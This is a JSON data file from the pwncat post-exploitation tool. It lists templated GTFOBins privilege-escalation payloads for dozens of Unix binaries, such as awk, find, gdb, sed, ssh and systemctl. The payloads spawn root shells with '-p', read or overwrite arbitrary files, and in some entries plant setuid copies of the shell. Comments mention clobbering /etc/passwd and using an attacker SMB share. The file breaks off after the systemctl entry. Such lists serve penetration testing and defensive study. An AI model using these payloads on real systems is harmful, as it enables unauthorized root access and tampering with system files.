pwncat/data/gtfobins.json

{
	// Each item is a list of capabilities for this binary
	"dd": [
		{
			// This is a read capability
			"type": "read",
			// No other commands need to be executed besides the command
			// "command" exands to the binary path and any arguments provided
			// If the data needs to be dealt with earlier, you can use "{data}"
			// here.
			"payload": "{command} 2>/dev/null",
			// This is used to pass arguments to the application (auto-merged
			// into "{command}".

			// IF YOUR COMMAND TAKES ARGUMENTS, YOU MUST SUPPLY THEM HERE.
			"args": ["if={lfile}"],
			// Prepends arguments, if any to the "args" for setuid context.
			"suid": [],
			// Input which needs to be passed to the application. All insertions
			// work here (such as {lfile}, {command}), but also {data} if you are
			// streaming the data to the remote application.
			"input": "",
			// If needed, specify some data that must be sent to exit the remote
			// application after the read is finished.
			// "exit": "{ctrl_c}",
			// This specifies how to handle the data. There can be a few
			// different values here:
			//     - raw -> the data is unchanged and the controlling terminal
			//         is set to raw mode for effective reading. This mode
			//         requires a known data length and the command will fail
			//         without it.
			//     - print -> the data is unchanged, but the controlling
			//         terminal is not changed to raw mode. Only printable 
			//         data is safe from TTY translation.
			//     - base64 -> all data is converted from base64. Data sent
			//         to the remote process should be in  base64 form, and the
			//         tty is not set to raw mode.
			//     - hex -> same as base64, but base16 instead.
			"stream": "raw"
		},
		{
			"type": "write",
			"stream": "raw",
			"payload": "{command} 2>/dev/null",
			"args": ["of={lfile}", "iflag=count_bytes,fullblock", "count={length}"]
		},
		{
			"type": "write",
			"stream": "print",
			"payload": "{command} 2>/dev/null",
			"args": ["of={lfile}"],
			"exit": "{ctrl_d}"
		}
	],
//-------------------------------------------------------------------
	"cp": [
		{
			"type": "write",
			"stream": "print",
			// This is weird because under the case where we are running w/ sudo,
			// we need to ask for the password first. The first "{command}" will
			// ask for the sudo password, then fail to copy. The second "{command}"
			// will not ask for the sudo password, and then the copy will succeed.
			// Without sudo, the first command will simply fail, and the second
			// will succeed. This is the same for the other `cp` payload below.
			"payload": "TF=none; {command}; TF=$({mktemp}); {chmod} ugo+r $TF; {cat} > $TF; {command}; rm -f $TF",
			"args": ["$TF", "{lfile}"],
			"exit": "{ctrl_d}"
		},
		{
			"type": "write",
			"stream": "base64",
			"payload": "TF=none; {command}; TF=$({mktemp}); {chmod} ugo+r $TF; {base64} -d > $TF; {command}; rm -f $TF",
			"args": ["$TF", "{lfile}"],
			"exit": "{ctrl_d}"
		}
	],
//-------------------------------------------------------------------
	// Another example
	"bash": [
		{
			"type": "shell",
			"stream": "print",
			"suid": ["-p"],
			"exit": "exit"
		},
		{
			"type": "read",
			"stream": "raw",
			"payload": "{command}",
			"args": ["-c", "'{cat} {lfile}'"],
			"suid": ["-p"]
		},
		{
			"type": "write",
			"stream": "base64",
			"payload": "{command}",
			"args": ["-c", "'{base64} -d > {lfile}'"],
			"suid": ["-p"],
			"exit": "{ctrl_d}{ctrl_d}"
		}
	],
//-------------------------------------------------------------------
	"dash": [
		{
			"type": "shell",
			"stream": "print",
			"suid": ["-p"],
			"exit": "exit"
		},
		{
			"type": "read",
			"stream": "raw",
			"payload": "{command} -c '{cat} {lfile}'",
			"suid": ["-p"],
			"exit": "{ctrl_d}"
		},
		{
			"type": "write",
			"stream": "base64",
			"payload": "{command} -c '{base64} -d > {lfile}'",
			"suid": ["-p"],
			"exit": "{ctrl_d}"
		}
	],
//-------------------------------------------------------------------
	"cat": [
		{
			"type": "read",
			"stream": "raw",
			"payload": "{command} {lfile}"
		}
	],
//-------------------------------------------------------------------
	"apt": [
		{
			"type": "shell",
			"args": ["changelog", "apt"],
			"input": "!{shell}\n",
			"exit": "exit\nq\n"
		}
	],
//-------------------------------------------------------------------
	"apt-get": [
		{
			"type": "shell",
			"args": ["changelog", "apt"],
			"input": "!{shell}\n",
			"exit": "exit\nq\n"
		}
	],
//-------------------------------------------------------------------
	"aria2c": [
		{
			"type": "shell",
			"payload": "export TF=$({mktemp}); export SH=$({mktemp}); {cp} {shell} $SH; echo \"{chown} root:root $SH; {chmod} +sx $SH\" > $TF; {chmod} +x $TF; {command}; sleep 1; {rm} -f $TF; $SH -p",
			"input": "rm -f $TF; rm -f $SH; unset TF; unset SH;\n",
			"args": ["--on-download-error=$TF", "http://x"],
			"exit": "exit"
		}
	],
//-------------------------------------------------------------------
	"ash": [
		{
			"type": "shell",
			"stream": "print",
			"suid": ["-p"],
			"exit": "exit"
		},
		{
			"type": "read",
			"stream": "print",
			"payload": "{command} -c '{cat} {lfile}'",
			"suid": ["-p"],
			"exit": "{ctrl_c}"
		},
		{
			"type": "write",
			"stream": "base64",
			"payload": "{command} -c '{base64} -d > {lfile}'",
			"suid": ["-p"],
			"exit": "{ctrl_c}"
		}
	],
//-------------------------------------------------------------------
	"awk": [
		{
			"type": "shell",
			"payload": "{command} 'BEGIN {{system(\"{shell} -p\")}}'",
			"exit": "exit"
		},
		{
			"type": "read",
			"stream": "print",
			"payload": "{command} // {lfile}"
		},
		{
			"type": "read",
			"stream": "raw",
			"payload": "{command} 'BEGIN {{system(\"{cat} {lfile}\")}}'"
		},
		{
			"type": "write",
			"stream": "print",
			"args": [
				"-v", "LFILE={lfile}",
				"'BEGIN {{ printf \"\" > LFILE; while ((getline) > 0){{ print >> LFILE }} }}'"
			],
			"exit": "{ctrl_d}"
		}
	],
//-------------------------------------------------------------------
	"base32": [
		{
			"type": "read",
			"stream": "raw",
			"payload": "{command} {lfile} | {base32} -d",
			"args": []
		}
	],
//-------------------------------------------------------------------
	"base64": [
		{
			"type": "read",
			"stream": "raw",
			"payload": "{command} {lfile} | {base64} -d",
			"args": []
		}
	],
//-------------------------------------------------------------------
	"bpftrace": [
		{
			"type": "shell",
			"args": ["-c", "'{shell} -p'", "-e", "'END {{exit()}}'"],
			"suid": ["-p"],
			"exit": "exit"
		}
	],
//-------------------------------------------------------------------
	"busctl": [
		{
			"type": "shell",
			"input": "!{shell}\n",
			"exit": "exit\nq\n"
		}
	],
//-------------------------------------------------------------------
	"byebug": [
		{
			"type": "shell",
			"payload": "TF=$({mktemp}); echo 'system(\"{shell}\")' > $TF; {command}; rm -f $TF",
			"args": ["--no-stop", "-q", "$TF"],
			"exit": "exit\n"
		},
		{
			"type": "read",
			"payload": "TF=$({mktemp}); echo 'system(\"{cat} {lfile}\")' > $TF; {command}; rm -f $TF",
			"args": ["--no-stop", "-q", "$TF"],
			"exit": "exit\n"
		}
	],
//-------------------------------------------------------------------
	"chmod": [
		{
			"type": "shell",
			"payload": "{command}",
			"args": ["+s", "{shell}; {shell} -p"],
			"exit": "exit\n"
		},
		{
			"type": "read",
			"payload": "{command} 2>/dev/null",
			// This is used to pass arguments to the application (auto-merged
			// into "{command}".

			// IF YOUR COMMAND TAKES ARGUMENTS, YOU MUST SUPPLY THEM HERE.
			"args": ["+s", "{dd};", "{dd}", "if={lfile}"],
			// Prepends arguments, if any to the "args" for setuid context.
			"stream": "raw"
		},
		{
			"type": "write",
			"stream": "raw",
			"payload": "{command} 2>/dev/null",
			"args": ["+s", "{dd};", "{dd}", "of={lfile}", "iflag=count_bytes,fullblock", "count={length}"]
		},
		{
			"type": "write",
			"stream": "print",
			"payload": "{command} 2>/dev/null",
			"args": ["+s", "{dd};", "{dd}", "of={lfile}"],
			"exit": "{ctrl_d}"
		}
	],
//-------------------------------------------------------------------
	"chroot": [
		{
			"type": "shell",
			"payload": "{command}",
			"args": ["/", "{shell}", "-p"],
			"exit": "exit\n"
		}
	],
//-------------------------------------------------------------------
	"cobc": [
		{
			"type": "shell",
			"payload": "TF=none; {command} 2>/dev/null; TF=$({mktemp}); echo 'CALL \"SYSTEM\" USING \"exec {shell} -p\".' > $TF; {command} 2>&1; rm -f $TF",
			"args": ["-xFj", "--frelax-syntax-checks", "$TF"],
			"exit": "exit\n"
		}

		// Could we do some file_read and file_write with this too..? We can run cobol...
	],
//-------------------------------------------------------------------
	"cpan": [
		{
			"type": "shell",
			"payload": "{command}",
			"input" : "! system(\"{shell} -p\")\n",
			// exit the shell, AND exit cpan
			"exit": "exit\nexit\n"
		}

		// Could we do some file_read and file_write with this too? We can run perl...
	],
//-------------------------------------------------------------------
	"cpulimit": [
		{
			"type": "shell",
			"payload": "{command}",
			"args": ["-l", "100", "-f", "\"{shell}\""],
			// exit the shell, AND exit cpan
			"exit": "exit\n"
		}
		// We cannot seem to pass other arguments to process ran, so no read/write (???)
	],
//-------------------------------------------------------------------
	"crash": [
		{
			"type": "shell",
			"payload": "{command}",
			"args": ["-h"],
			"input": "!{shell} -p\n",
			// exit the shell, AND exit cpan
			"exit": "exit\nq\n"
		}
		// We cannot seem to pass other arguments to process ran, so no read/write (???)
	],
//-------------------------------------------------------------------
	"csh": [
		{
			"type": "shell",
			"payload": "{command}",
			"suid": ["-b"],
			"input": "{shell} -p\n",
			// exit the shell, AND exit csh
			"exit": "exit\nexit\n"
		},
		{
			"type": "read",
			"stream": "print",
			"payload": "{command}",
			// "suid" is not supplied because it must be very last argument
			"args": ["-c", "\"{cat} {lfile}\"", "-b"]
		}
		// Using write, it doesn't get the entire text to clobber /etc/passwd
		// {
		// 	"type": "write",
		// 	"stream": "base64",
		// 	"payload": "{command}",
		// 	"args": ["-c", "\"{base64} -d > {lfile}\"", "-b"],
		// 	// "suid" is not supplied because it must be very last argument
		// 	"exit": "{ctrl_d}"
		// }
	],
	"bsd-csh": [
		{
			"type": "shell",
			"payload": "{command}",
			"input": "{shell} -p\n",
			"suid": ["-b"],
			// exit the shell, AND exit csh
			"exit": "exit\nexit\n"
		},
		{
			"type": "read",
			"stream": "print",
			"payload": "{command}",
			// "suid" is not supplied because it must be very last argument
			"args": ["-c", "\"{cat} {lfile}\"", "-b"]
		}
		// Using write, it doesn't get the entire text to clobber /etc/passwd
		// {
		// 	"type": "write",
		// 	"stream": "base64",
		// 	"payload": "{command}",
		// 	"args": ["-c", "\"{base64} -d > {lfile}\"", "-b"],
		// 	// "suid" is not supplied because it must be very last argument
		// 	"exit": "{ctrl_d}"
		// }
	],
//-------------------------------------------------------------------
	"curl": [
		{
			"type": "read",
			"stream": "raw",
			"payload": "{command}",
			"args": ["-s", "file://{lfile} --output -"]
		},
		{
			"type": "read",
			"stream": "base64",
			"payload": "{command} | {base64} -w 0",
			"args": ["-s", "file://{lfile} --output -"]
		},
		{
			"type": "write",
			"stream": "print",
			// This is weird because under the case where we are running w/ sudo,
			// we need to ask for the password first. The first "{command}" will
			// ask for the sudo password, then fail. The second "{command}"
			// will not ask for the sudo password, and then the copy will succeed.
			// Without sudo, the first command will simply fail, and the second
			// will succeed. This is the same for the other payload below.
			"payload": "TF=none; {command}; TF=$({mktemp}); {chmod} ugo+r $TF; {cat} > $TF; {command}; rm -f $TF",
			"args": ["-s", "file://$TF --output {lfile}"],
			"exit": "{ctrl_d}"
		},
		{
			"type": "write",
			"stream": "base64",
			"payload": "TF=none; {command}; TF=$({mktemp}); {chmod} ugo+r $TF; {base64} -d > $TF; {command}; rm -f $TF",
			"args": ["-s", "file://$TF", "--output", "{lfile}"],
			"exit": "{ctrl_d}"
		}
	],
//-------------------------------------------------------------------
	"cut": [
		{
			"type": "read",
			"stream": "print",
			"payload": "{command}",
			"args": ["-d", "''", "-f1", "{lfile}"]
		}
	],
//-------------------------------------------------------------------
	"date": [
		{
			// This is a janky reader that relies on cut to fully carve out the output.
			"type": "read",
			"stream": "print",
			"payload": "{command} | {cut} -d \":\" -f2- | while read line; do echo ${{line:14:-1}}; done",
			"args": ["-f", "{lfile}", "+\"%M%M%M%M%M%M\"", "2>&1"]
		}
	],
//-------------------------------------------------------------------
	"diff": [
		{
			"type": "read",
			"stream": "print",
			"payload": "{command}",
			"args": ["--line-format=%L", "/dev/null", "{lfile}"]
		}
	],
//-------------------------------------------------------------------
	"dmesg": [
		{
			"type": "shell",
			"payload": "{command}",
			"args": ["-H"],
			"input": "!{shell} -p\n",
			"exit": "exit\nq\n"
		},
		{
			"type": "read",
			"stream": "print",
			"payload": "{command}",
			"args": ["-rF", "{lfile}"]
		}
	],
//-------------------------------------------------------------------
	"dpkg": [
		{
			"type": "shell",
			"payload": "{command}",
			"args": ["-l"],
			"input": "!{shell} -p\n",
			"exit": "exit\nq\n"
		}
	],
//-------------------------------------------------------------------
	"easy_install": [
		{
			"type": "shell",
			"payload": "TF=none; {command} -h; TF=$({mktemp} -d);echo \"import os; os.execl('/bin/sh', 'sh', '-c', '{shell} <$(tty) >$(tty) 2>$(tty)')\" > $TF/setup.py; {command} $TF",
			"args": [],
			"exit": "exit\n"
		},
		{	
			"type": "read",
			"stream": "raw",
			"payload": "TF=none; {command} -h 2>/dev/null 1>&2; TF=$({mktemp} -d);echo \"import sys; sys.stdout.buffer.write(open('{lfile}', 'rb').read())\" > $TF/setup.py; {command} $TF 2>/dev/null | {tail} -n +4",
			"args": []
		},
		// This seems to write small files... but not large (over ~4 KB). So we won't use it... ???
		// easy_install does not give the process stdin, so we need to swap it into a different file, /tmp/b64.
		{
			"type": "write",
			"stream": "base64",
			"payload": "TF=none; {command} -h 2>/dev/null 1>&2; TF=$({mktemp} -d); {cat} > $TF/b64; echo \"import os; os.execl('''{python}''', 'python', '''-c''', '''import base64\\nwith open('{lfile}','wb') as h:\\n\\tfor line in open('$TF/b64', 'rb'):\\n\\t\\th.write(base64.b64decode(line.strip()))''')\" > $TF/setup.py; {command} $TF 2>/dev/null",
			"args": [],
			"exit": "{ctrl_d}{ctrl_d}"
		}
	],
//-------------------------------------------------------------------
	"eb": [
		{
			"type": "shell",
			"payload": "{command}",
			"args": ["logs"],
			"input": "!{shell} -p\n",
			"exit": "exit\nq\n"
		}
	],
//-------------------------------------------------------------------
	"ed": [
		{
			"type": "shell",
			"payload": "{command}",
			"input": "!{shell} -p\n",
			"exit": "exit\nq\n"
		},
		{	
			"type": "read",
			"stream": "raw",
			"payload": "echo ',p' | {command}",
			"args": ["-s", "{lfile}"],
			"input" : ",p\n",
			"exit" : "q\n"
		},
		{
			"type": "write",
			"stream": "print",
			"payload": "echo -e \"1,\\$d\\na\\n$({cat})\\n.\\nw\\nq\\n\" | {command}",
			"args": ["-s", "{lfile}"],
			"exit": "{ctrl_d}"
		}
	],
//-------------------------------------------------------------------
	"emacs": [
		{
			"type": "shell",
			"payload": "{command}; {shell} -p",
			"args": ["-Q", "-nw", "--eval '(chmod \"{shell}\" #o4755)'" , "--eval \"(kill-emacs)\""],
			"exit": "exit\n"
		},
		{	
			"type": "read",
			"stream": "raw",
			"payload": "TF=$({mktemp}); {command}; {cat} $TF ",
			"args": ["-Q", "-nw", "{lfile}", "--eval \"(write-file \\\"$TF\\\")\"", "--eval '(kill-emacs)'"]
		},
		{	
			"type": "write",
			"stream": "print",
			"payload": "{cat} > /tmp/.em; {command}",
			"args": ["-Q", "-nw", "/tmp/.em", "--eval \"(write-file \\\"{lfile}\\\")\"", "--eval '(kill-emacs)'"],
			"exit": "{ctrl_d}{ctrl_d}"
		}
	],
//-------------------------------------------------------------------
	"env": [
		{
			"type": "shell",
			"payload": "{command} {shell} -p",
			"args": [],
			"exit": "exit\n"
		}
	],
//-------------------------------------------------------------------
	"eqn": [
		{
			"type": "read",
			"stream": "print",
			"payload": "TF={lfile}; {command} | {grep} -Pzo \"(?s)\\.lf 1 $TF.*\" | {tail} -n +2",
			"args": ["$TF"]
		}
	],
//-------------------------------------------------------------------
	"expand": [
		{
			"type": "read",
			"stream": "print",
			"payload": "{command}",
			"args": ["{lfile}"]
		}
	],
//-------------------------------------------------------------------
	"expect": [
		{
			"type": "shell",
			"payload": "{command}",
			"args": ["-c", "\"spawn {shell} -p; interact\""],
			"exit": "exit\n"
		},
		{
			"type": "read",
			"stream": "raw",
			"payload": "{command}",
			"args": ["-c", "\"spawn {cat} {lfile}; interact\""]
		}
		// Theoretically we should be able to get File Write for this.
		// Sine it has it own little subprocess, I can't seem to get stdin to funnel in. 
	],
//-------------------------------------------------------------------
	"facter": [
		{
			"type": "shell",
			"payload": "TF=$({mktemp} -d); echo 'exec(\"{shell} -p\")' > $TF/x.rb; FACTERLIB=$TF {command}",
			"args": [""]
		}
		// This does not behave with sudo very often.
		// Because it sets an environment variable, -E must be used
		// when calling sudo (which pwncat currently does not have support for)
		// and the user needs to be able to preserve the environment...
	],
//-------------------------------------------------------------------
	"find": [
		{
			"type": "shell",
			"payload": "{command}",
			"args": [".", "-exec", "{shell} -p", "\\;", "-quit"]
		},
		{
			"type": "read",
			"stream": "raw",
			"payload": "{command}",
			"args": [".", "-exec", "{cat} {lfile}", "\\;", "-quit"]
		}
	],
//-------------------------------------------------------------------
	"flock": [
		{
			"type": "shell",
			"payload": "{command}",
			"args": ["-u", "/", "{shell} -p"]
		},
		{
			"type": "read",
			"stream": "raw",
			"payload": "{command}",
			"args": ["-u", "/", "{cat} {lfile}"]
		},
		{
			"type": "write",
			"stream": "base64",
			"payload": "{command}",
			"args": ["-u", "/", "{sh} -c \"{base64} -d > {lfile}\""],
			"exit": "{ctrl_d}{ctrl_d}"
		}
	],
//-------------------------------------------------------------------
	"fmt": [
		{
			"type": "read",
			"stream": "raw",
			"payload": "{command}",
			"args": ["-pNON_EXISTING_PREFIX", "{lfile}"]
		}
	],
//-------------------------------------------------------------------
	"fold": [
		{
			"type": "read",
			"stream": "raw",
			"payload": "{command}",
			"args": ["-w99999999", "{lfile}"]
		}
	],
//-------------------------------------------------------------------
	"ftp": [
		{
			"type": "shell",
			"payload": "{command}",
			"input": "!{shell} -p\n",
			// Exit the shell, then exit the FTP client
			"exit": "exit\nexit\n"
		}
	],
//-------------------------------------------------------------------
	"gawk": [
		{
			"type": "shell",
			"payload": "{command} 'BEGIN {{system(\"{shell} -p\")}}'",
			"exit": "exit"
		},
		{
			"type": "read",
			"stream": "print",
			"payload": "{command} // {lfile}"
		},
		{
			"type": "read",
			"stream": "raw",
			"payload": "{command} 'BEGIN {{system(\"{cat} {lfile}\")}}'"
		},
		{
			"type": "write",
			"stream": "print",
			"args": [
				"-v", "LFILE={lfile}",
				"'BEGIN {{ printf \"\" > LFILE; while (getline > 0){{ print >> LFILE; }} }}'"
			],
			"exit": "{ctrl_d}"
		}
	],
//-------------------------------------------------------------------
	"gcc": [
		{
			"type": "shell",
			"payload": "{command}",
			"args": ["-wrapper", "{shell},-p,-s", "."]
		}
	],
//-------------------------------------------------------------------
	"gdb": [
		{
			"type": "shell",
			"payload": "{command}",
			"args": ["-q", "-nx", "-ex", "'!{shell} -p'", "-ex", "quit"]
		},
		{
			"type": "shell",
			"payload": "{command}",
			"args": ["-q", "-nx", "-ex", "'python import os; os.execl(\"{shell}\", \"{shell}\", \"-p\")'", "-ex", "quit"]
		},
		{
			"type": "read",
			"stream":"print",
			"payload": "{command}",
			"args": ["-q", "-nx", "-ex", "'set height 0'", "-ex", "'python print(open(\"{lfile}\").read())'", "-ex", "quit"]
		},
		{
			"type": "write",
			"stream":"print",
			"payload": "{command}",
			"args": ["-q", "-nx", "-ex", "'python import sys; open(\"{lfile}\",\"w\").write(sys.stdin.read())'", "-ex", "quit"],
			"exit": "{ctrl_d}{ctrl_d}"
		},
		// We SHOULD be able to write base64 data... but for the life of me, I cannot get the whole file to come through. Leaving this alone.
		{
			"type": "write",
			"stream":"base64",
			"payload": "{command}",
			"args": ["-q", "-nx", "-ex", "'python import sys,base64; exec(\"\"\"with open(\"{lfile}\",\"wb\") as f:\\n\\tfor line in sys.stdin:\\n\\t\\tf.write(base64.b64decode(line.strip()))\"\"\")'", "-ex", "quit"],
			"exit" : "{ctrl_d}{ctrl_d}"
		}
	],
//-------------------------------------------------------------------
	"gem": [
		{
			"type": "shell",
			"payload": "{command}",
			"args": ["open", "-e", "'{shell} -c {shell} -p'", "rdoc"]
		},
		{
			"type": "read",
			"stream" : "raw",
			"payload": "{command}",
			"args": ["open", "-e", "'{cat} {lfile}'", "rdoc"]
		}
	],
//-------------------------------------------------------------------
	"genisoimage": [
		{
			"type": "read",
			"stream" : "print",
			"payload": "{command} -q -o - {lfile} | {tail} -c +49152",
			"args": []
		}
	],
//-------------------------------------------------------------------
	"gimp": [
		{
			"type": "shell",
			"payload": "{command}",
			"args": ["-idf", "--batch-interpreter=python-fu-eval", "-b", "'import os; os.system(\"{shell} -p\");gimp.exit()'"],
			"exit": "exit"
		},
		{
			"type": "read",
			"stream": "raw",
			"payload": "{command} 2>/dev/null",
			"args": ["-idf", "--batch-interpreter=python-fu-eval", "-b", "'import sys; sys.stdout.write(open(\"{lfile}\",\"rb\").read());gimp.exit()'"]
		}

		// This 'write' technique seems to fail because it cannot capture stdin, being a "subprocess".
		// Since it can get a shell, this is not really an issue.
		// {
		// 	"type": "write",
		// 	"stream":"raw",
		// 	"payload": "{command} 2>/dev/null",
		// 	"args": ["-idf", "--batch-interpreter=python-fu-eval", "-b", "'import sys, shutil; shutil.copyfileobj(sys.stdin.buffer, open(\"{lfile}\",\"wb\"),length={length});gimp.exit()'"]
		// },
		// {
		// 	"type": "write",
		// 	"stream":"base64",
		// 	"payload": "{command} 2>/dev/null",
		// 	"args": ["-idf", "--batch-interpreter=python-fu-eval", "-b", "'exec(\"\"\"import sys,base64\\nwith open(\"{lfile}\",\"wb\") as f:\\n\\tfor chunk in iter(lambda: sys.stdin.read(4), b\"\"):\\n\\t\\tf.write(base64.b64decode(chunk))\"\"\")\\ngimp.exit()'"]
		// }
	],
//-------------------------------------------------------------------
	"git": [
		{
			"type": "shell",
			"payload": "{command}",
			"args": ["help", "config"],
			"input": "!{shell}\n",
			"exit": "exit\nq\n"
		}
	],
//-------------------------------------------------------------------
	"grep": [
		{
			"type": "read",
			"stream":"print",
			"payload": "{command}",
			"args": ["''", "{lfile}"]
		}
	],














//-------------------------------------------------------------------
	"ruby": [
		// if ruby is setuid, it will not let you run with -e or pass
		// commands piped through stdin... so we must create a temporary script
		
		{
			"type": "shell",
			"payload": "TF=$({mktemp}); echo 'exec \"{shell} -p\"' > $TF; {command}",
			"args": ["$TF"]
		},
		{
			"type": "read",
			"stream":"print",
			"payload": "TF=$({mktemp}); echo 'puts File.read(\"{lfile}\")' > $TF; {command}",
			"args": ["$TF"]
		},
		{
			"type": "write",
			"stream":"print",
			"payload": "TF=$({mktemp}); echo 'File.open(\"{lfile}\", \"w+\") {{ |f| f.write(ARGF.read) }}' > $TF; {command}",
			"args": ["$TF"],
			"exit": "{ctrl_d}{ctrl_d}"

		},
		{
			"type": "write",
			"stream":"base64",
			"payload": "TF=$({mktemp}); echo 'File.open(\"{lfile}\", \"w+\") {{ |f| f.write(ARGF.read) }}' > $TF; {base64} -d | {command}",
			"args": ["$TF"],
			"exit": "{ctrl_d}{ctrl_d}"
		}
	],
	"ruby2.5": [
		// if ruby is setuid, it will not let you run with -e or pass
		// commands piped through stdin... so we must create a temporary script
		
		{
			"type": "shell",
			"payload": "TF=$({mktemp}); echo 'exec \"{shell} -p\"' > $TF; {command}",
			"args": ["$TF"]
		},
		{
			"type": "read",
			"stream":"print",
			"payload": "TF=$({mktemp}); echo 'puts File.read(\"{lfile}\")' > $TF; {command}",
			"args": ["$TF"]
		},
		{
			"type": "write",
			"stream":"print",
			"payload": "TF=$({mktemp}); echo 'File.open(\"{lfile}\", \"w+\") {{ |f| f.write(ARGF.read) }}' > $TF; {command}",
			"args": ["$TF"],
			"exit": "{ctrl_d}{ctrl_d}"

		},
		{
			"type": "write",
			"stream":"base64",
			"payload": "TF=$({mktemp}); echo 'File.open(\"{lfile}\", \"w+\") {{ |f| f.write(ARGF.read) }}' > $TF; {base64} -d | {command}",
			"args": ["$TF"],
			"exit": "{ctrl_d}{ctrl_d}"
		}
	],
//-------------------------------------------------------------------
// run-mailcap should also be implemented.... it errors on my machine
// (I do not know why) and neglected to test it to implement it.
//
//-------------------------------------------------------------------
	"run-parts": [
		// run-parts separates the shell's folder and filename, so {shell}
		// as a template option will not work well. I just get around this 
		// by trying bash first... if that fails, fall back to sh.
		{
			"type": "shell",
			"payload": "{command}",
			"args": ["--new-session", "--regex", "'^bash$'", "/bin", "--arg='-p'"]
		},
		{
			"type": "shell",
			"payload": "{command}",
			"args": ["--new-session", "--regex", "'^sh$'", "/bin", "--arg='-p'"]
		}
	],

//-------------------------------------------------------------------
	"scp": [
		{
			"type": "shell",
			"payload": "TF=$({mktemp}); echo '{shell} 0<&2 1>&2' > $TF; {chmod} +x \"$TF\"; {command}",
			"args": ["-S", "$TF", "x", "y:"]
		}
	],
//-------------------------------------------------------------------
	"screen": [
		{
			"type": "shell",
			"payload": "{command}",
			"args": ["{shell}"]
		}
	],
//-------------------------------------------------------------------
	"script": [
		{
			"type": "shell",
			"payload": "{command}",
			"args": ["-qc", "{shell}", "/dev/null"]
		}
	],

//-------------------------------------------------------------------
	"sed": [
		{
			"type": "shell",
			"payload": "{command}",
			"args": ["-n", "'1e exec {shell} -p 1>&0'", "/etc/hosts"]
		},
		{
			"type": "read",
			"stream": "print",
			"payload": "{command}",
			"args": ["''", "{lfile}"]
		},
		{
			"type": "write",
			"stream": "print",
			"payload": "{command}",
			"args": ["-n", "'s/\\(.\\)/\\1/w {lfile}'" ],
			"exit": "{ctrl_d}{ctrl_d}"
		}
	],
//-------------------------------------------------------------------
	"service": [
		{
			"type": "shell",
			"payload": "{command}",
			"args": ["../../{shell} -p"]
		}
	],
//-------------------------------------------------------------------
	"setarch": [
		{
			"type": "shell",
			"payload": "{command}",
			"args": ["$({arch})", "{shell} -p"]
		}
	],
//-------------------------------------------------------------------
	"sftp": [
		{
			"type": "shell",
			"payload": "{command}",
			"args": ["-o", "ProxyCommand=';{shell} -p 0<&2 1>&2'", "x"]
		}
	],
//-------------------------------------------------------------------
	"shuf": [
		{
			"type": "read",
			"stream": "print",
			"payload": "{command}",
			"args": ["-z", "{lfile}"]
		}
		// shuf CAN file write with... 
		//     LFILE=file_to_write
		//     sudo shuf -e DATA -o "$LFILE"
		// but it replaces spaces with newlines...
		// which could be pretty problematic. I have left out that technique.
		// The other technique, below, adds null-bytes at the end of each line
		// This will make the "print" stream fail. and it will not work
		// for "base64" or "raw" streams either. :/
		// {
		// 	"type": "write",
		// 	"stream": "base64",
		// 	"payload": "{base64} -d | {command}",
		// 	"args": ["-z", "-o", "{lfile}"],
		// 	"exit":"{ctrl_d}{ctrl_d}"
		// }
	],
//-------------------------------------------------------------------
// smbclient requires an attacker share or SMB/CIFS server be available.
// This would likely be better as its own privesc method, so one share
// can be automatically started to use this technique.
	// "smbclient": [
	// 	{
	// 		"type": "shell",
	// 		"payload": "{command} '\\\\attacker\\share'",
	// 		"args": [],
	// 		"input":"!{shell} -p"
	// 	},
	// ],

//-------------------------------------------------------------------
	"socat": [
		{
			"type": "shell",
			"payload": "{command}",
			"args": ["STDIN", "EXEC:{shell},nofork,pty"],
			"exit": "exit\n"
		},
		{
			"type": "read",
			"payload": "{command}",
			"args": ["-u", "FILE:{lfile}", "STDOUT"]
		},
		{
			"type": "write",
			"stream": "print",
			"payload": "{command} 2>/dev/null",
			"args": ["-u", "STDIN", "CREATE:{lfile}"],
			"exit": "{ctrl_d}"
		},
		{
			"type": "write",
			"stream": "base64",
			"payload": "{base64} -d | {command} 2>/dev/null",
			"args": ["-u", "STDIN", "CREATE:{lfile}"],
			"exit": "{ctrl_d}"
		}
	],
//-------------------------------------------------------------------
	"soelim": [
		{
			"type": "read",
			"stream": "print",
			"payload": "{command} | {tail} -n +2",
			"args": ["{lfile}"]
		}
	],
//-------------------------------------------------------------------
	"sort": [
		{
			"type": "read",
			"stream": "print",
			"payload": "{command}",
			"args": ["-m","{lfile}"]
		}
	],
//-------------------------------------------------------------------
	"sqlite3": [
		{
			"type": "shell",
			"payload": "{command}",
			"args": ["/dev/null", "'.shell {shell} -p'"]
		},
		{
			"type": "read",	
			"stream":"print",
			"payload": "echo -e \"CREATE TABLE t(line TEXT);\\n.import {lfile} t\\nSELECT * FROM t;\\n\" | {command}",
			"args": [""]
		}
		// https://gtfobins.github.io/gtfobins/sqlite3
		// sqlite3 could POTENTIALLY write a file with this sort of syntax
		//   LFILE=file_to_write
		//   sqlite3 /dev/null -cmd ".output $LFILE" 'select "DATA";'
		// but getting this as stdin might be difficult. Since it already
		// has shell capabaility, it can write after-the-fact and I won't
		// try to finagle this.
	],
//-------------------------------------------------------------------
	"ssh": [
		{
			"type": "shell",
			"payload": "{command}",
			"args": ["-o", "ProxyCommand=';{shell} -p 0<&2 1>&2'", "x"]
		}
	],
//-------------------------------------------------------------------
	"start-stop-daemon": [
		{
			"type": "shell",
			"payload": "{command}",
			"args": ["-n", "$RANDOM", "-S", "-x", "{shell}", "--", "-p"]
		}
	],
//-------------------------------------------------------------------
	"stdbuf": [
		{
			"type": "shell",
			"payload": "{command}",
			"args": ["-i0", "{shell}", "-p"]
		}
	],
//-------------------------------------------------------------------
	"strace": [
		{
			"type": "shell",
			"payload": "{command}",
			"args": ["-o", "/dev/null", "{shell}", "-p"]
		}
	],
//-------------------------------------------------------------------
	"strings": [
		{
			"type": "read",
			"stream": "print",
			"payload": "{command}",
			"args": ["{lfile}"]
		}
	],
	"x86_64-linux-gnu-strings": [
		{
			"type": "read",
			"stream": "print",
			"payload": "{command}",
			"args": ["{lfile}"]
		}
	],
	"x86-linux-gnu-strings": [
		{
			"type": "read",
			"stream": "print",
			"payload": "{command}",
			"args": ["{lfile}"]
		}
	],
//-------------------------------------------------------------------
	"systemctl": [
		{
			"type": "shell",
			"payload": "TF=$({mktemp} -u).service; TS=$({mktemp} -u); echo -e \"[Service]\\nType=oneshot\\nExecStart={shell} -c 'cp {shell} $TS; {chmod} +sx $TS;'\\n[Install]\\nWantedBy=multi-user.target\" > $TF; {command} link $TF; {command} enable --now $TF; $TS -p",
			"args": []
		},
		{
			"type": "shell",
			"payload": "{command}",
			"input":"!{shell} -p\n",
			"exit":"exit\n{ctrl_c}",
			"args": []
		}
	],
